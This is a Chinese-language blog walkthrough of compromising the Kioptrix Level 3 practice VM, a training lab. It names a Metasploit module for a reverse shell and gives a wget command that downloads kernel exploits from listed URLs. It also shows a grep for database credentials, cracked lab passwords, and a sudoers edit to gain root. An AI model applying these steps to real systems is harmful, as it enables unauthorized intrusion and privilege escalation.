近期真得加緊腳步想辦法增進自己的基礎與實力,既上一篇「Kioptrix Level 1.1 (#2)」,之後應該會開始有更多此系列的文章出現,相較於打打 CTF,滲透測試的技能更來得較為全面,雖說 Kioptrix 的題目都較為老舊,但透過這樣子的練習,加減能夠增強自己對於一個新環境下的觀察敏銳度,並且建構出一套滲透的模式出來,例如如何蒐集資料、探勘、測試等…,之後可能也會寫寫有關 Hack The Box 之類的題目。
環境設定
靶機下載: Kioptrix Level 1.2 (#3)
環境佈署後一樣預設是「Bridged」,還是採用 NAT。
尋找靶機
透過 nmap 192.168.147.1/24
把靶機找出來,抓到位置為 192.168.147.128
。
檢查服務
經過簡單探勘後,是一個 LotusCMS
的服務,由於是開源的框架,有原始碼可以看,但由於 PHP 沒到那麼熟,花費長時間都沒看出個所以來。
隨後在網站上簡單的常識,初判應該不是 ELF,而雖然有登入頁面,但也似乎不是 SQL-Injection。
接著倒是有個神奇的發現,在參數 ?page=index
上加上 '
單引號,會出現錯誤,使用的 Function 是 eval()
。
然後無聊猜一下路徑發現 phpmyadmin
登入頁面,2.11.3deblubuntu1.3
似乎是版本號,可以拿來當參考。
取得 Shell
在沒想到怎麼利用之前,就先想說不然丟丟看 Metasploit 看看有沒有,結果還真的有,使用 use multi/http/lcms_php_exec
接著查看設定 options
,並且把設定丟一丟 SET RHOSTS <target>
、SET LHOST <Localhost>
。
接著下 exploit
或 run
指令,就會開始攻擊,並回傳的 Reverse Shell 回來,就像下圖這樣。
現在有 Shell,接著就是嘗試提權,但不知道為什麼,可以使用的指令相當的稀少,就跟日本製造的壓縮機一樣啊!!
可以使用 cat
讀檔,但涉及寫檔就沒有辦法了,此外透過觀察 /etc/passwd
,可以發現還有另外兩個使用者 loneferret
、dreg
,但沒有密碼無法登入。
實在想破頭,靈光一閃 help
,於是才發現,原來現在所使用的是 stdapi
,並且他有提供 shell 指令,藉此才開啟真正的 shell。
提權
隨後執行 whoami 指令後,發現使用者為 www-data
,這下終於正常了,為了提權,需要準備的工作有以下三項。
- 取得 kernel 版本號
- 取得對應的提權工具
- 找到可以寫入的地方
取得 kernal 版本號
稍早已經在 stdapp 的狀態下已經有確認過版本號為 2.6.24
,不過現在取得 shell 後,也可以使用 uname -a
、lsb-release -a
來取得作業系統資訊。
取得對應的提權工具
這邊要感恩大神、讚嘆大神,透過 Google 搜尋,取得由 SecWiki 大神的整理 linux-kernel-exploits 與 Lucyoa 大大那邊整理的 kernel-exploits,只要稍微翻一下年份,或是找到涵蓋的 kernel 版本號,就可以取得想要的 Exploit 工具,關於該版本,可以從 uname -a
指令中取得。
找到可以寫入的地方
要找到可以寫入的地方,大腦直接浮現 /tmp
,接著就是下載提權的 exploit,可以透過以下指令執行下載。
wget <File_URL> --no-check-certificate
接著再透過 gcc <source.c> -o <output>
來編譯,不幸的是…經過不斷的嘗試,以下的 exploit 提權工具全部都無法達成目的。
- https://github.com/lucyoa/kernel-exploits/tree/master/msr
- https://github.com/lucyoa/kernel-exploits/tree/master/american-sign-language
- https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/half-nelson/half-nelson3.c
- https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/video4linux/video4linux.c
- https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/can_bcm/can_bcm.c
- https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/vmsplice2/vmsplice2.c
- https://www.exploit-db.com/exploits/8556
phpmyadmin
還記的稍早有發現一個 phpmyadmin
的頁面,現在回過頭來對他展開嘗試,經過 Google 後,發現在 metasploit
上有 unix/webapp/phpadmin_config
這麼一個 exploit
可以用,但似乎也無法達成目的。
接著思緒轉向剛剛取的 shell
上,既然是網頁服務,也有資料庫,那是不是資料庫的連線參數會寫在 Web 的後端呢?
參考:How do I find all files containing specific text on Linux?
透過以下指尋找內容有關 mysql
,且副檔名為 php 的檔案。
find . -name "*.php" | xargs grep -i "mysql"
一次就中獎,直接丟出了資料庫名稱、資料庫帳號、資料庫密碼,直接使用 phpmyadmin
頁面進行登入,隨後也發現可疑的表單,欄位有 id
、username
、password
,並且已存放兩筆資料,但密碼有經過 Hash 過。
直接丟上 Google 搜尋,得知是經過 md5
的方法 HASH
,並且解出來後的對應如下。
loneferret::starwars
dreg::Mast3r
SSH
接著就不需要 Reverse Shell 了,直接透過 SSH 登入即可,首先使用 loneferret
帳戶登入後發現有個checksec.sh
的腳本。
簡單執行過後,確定就是很常用來檢查 ELF
有啟動那些保護機制的那個 checksec
,似乎沒什麼可以利用的亮點。
接著使用 sudo su
嘗試取得 root 權限,得到的回應 Sorry, user loneferret is not allowed to execute '/bin/su' as root on Kioptrix3.
,這就令我好奇的想去檢查 /etc/sudoers
,可是沒有權限。
隨後在家目錄下使用 ls -lha
來檢視隱藏檔案,並檢視 .bash_history
發現有使用過 sudo ht
這個指令,但卻無法執行 sudo ht
。
另外檢視 CompanyPolicy.README
檔案,也發現他要我用 sudo ht
,突然覺得應該先直視眼前的線索ˊ_>ˋ。
就由執行 sudo ht
得到的回應拿去 google 後,得到的解答是說,先執行個 export TERM=xterm
指令,然後再次執行。
一開始我以為 ht
是什麼指令,結果是個編輯器,而且完全不知道如何使用,一樣把問題丟給 google,得到的一個看起來很像官方網站的說明,才知道他上面的數字指的是 F1、F2...F10
。
接著套路就出來了,使用 F3
去開 /etc/sudoers
,並且打開 su
的權限(也可以直接加上 /bin/bash
)。
接著就是下 sudo su
指令,並且成功取得 root
了。
檢討
為了解 Kioptrix Level 1.2 (#3) 這題,實在是花了不少時間,對於滲透的經驗不足,大多數時間不是往錯誤的方向,就是沒有想法,對於一開始 eval()
的利用,其實有很多作法(事後搜尋),甚至可以不用透過 metasploit
就可以直接拿到 Reverse Shell
,藉此可以省下許多時間。
隨後嘗試使用已知弱點 kernel-exploit 來題權,試了幾十款,早應該要認為考點不是在此了,卻還執迷不悟。